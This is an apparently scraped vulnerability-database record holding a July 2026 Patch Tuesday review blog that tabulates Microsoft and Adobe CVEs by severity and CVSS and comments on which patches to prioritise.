Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:04:27.240722Z"}, {"uuid": "f18642f8-dc2f-474b-bf99-ee57904d720d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - 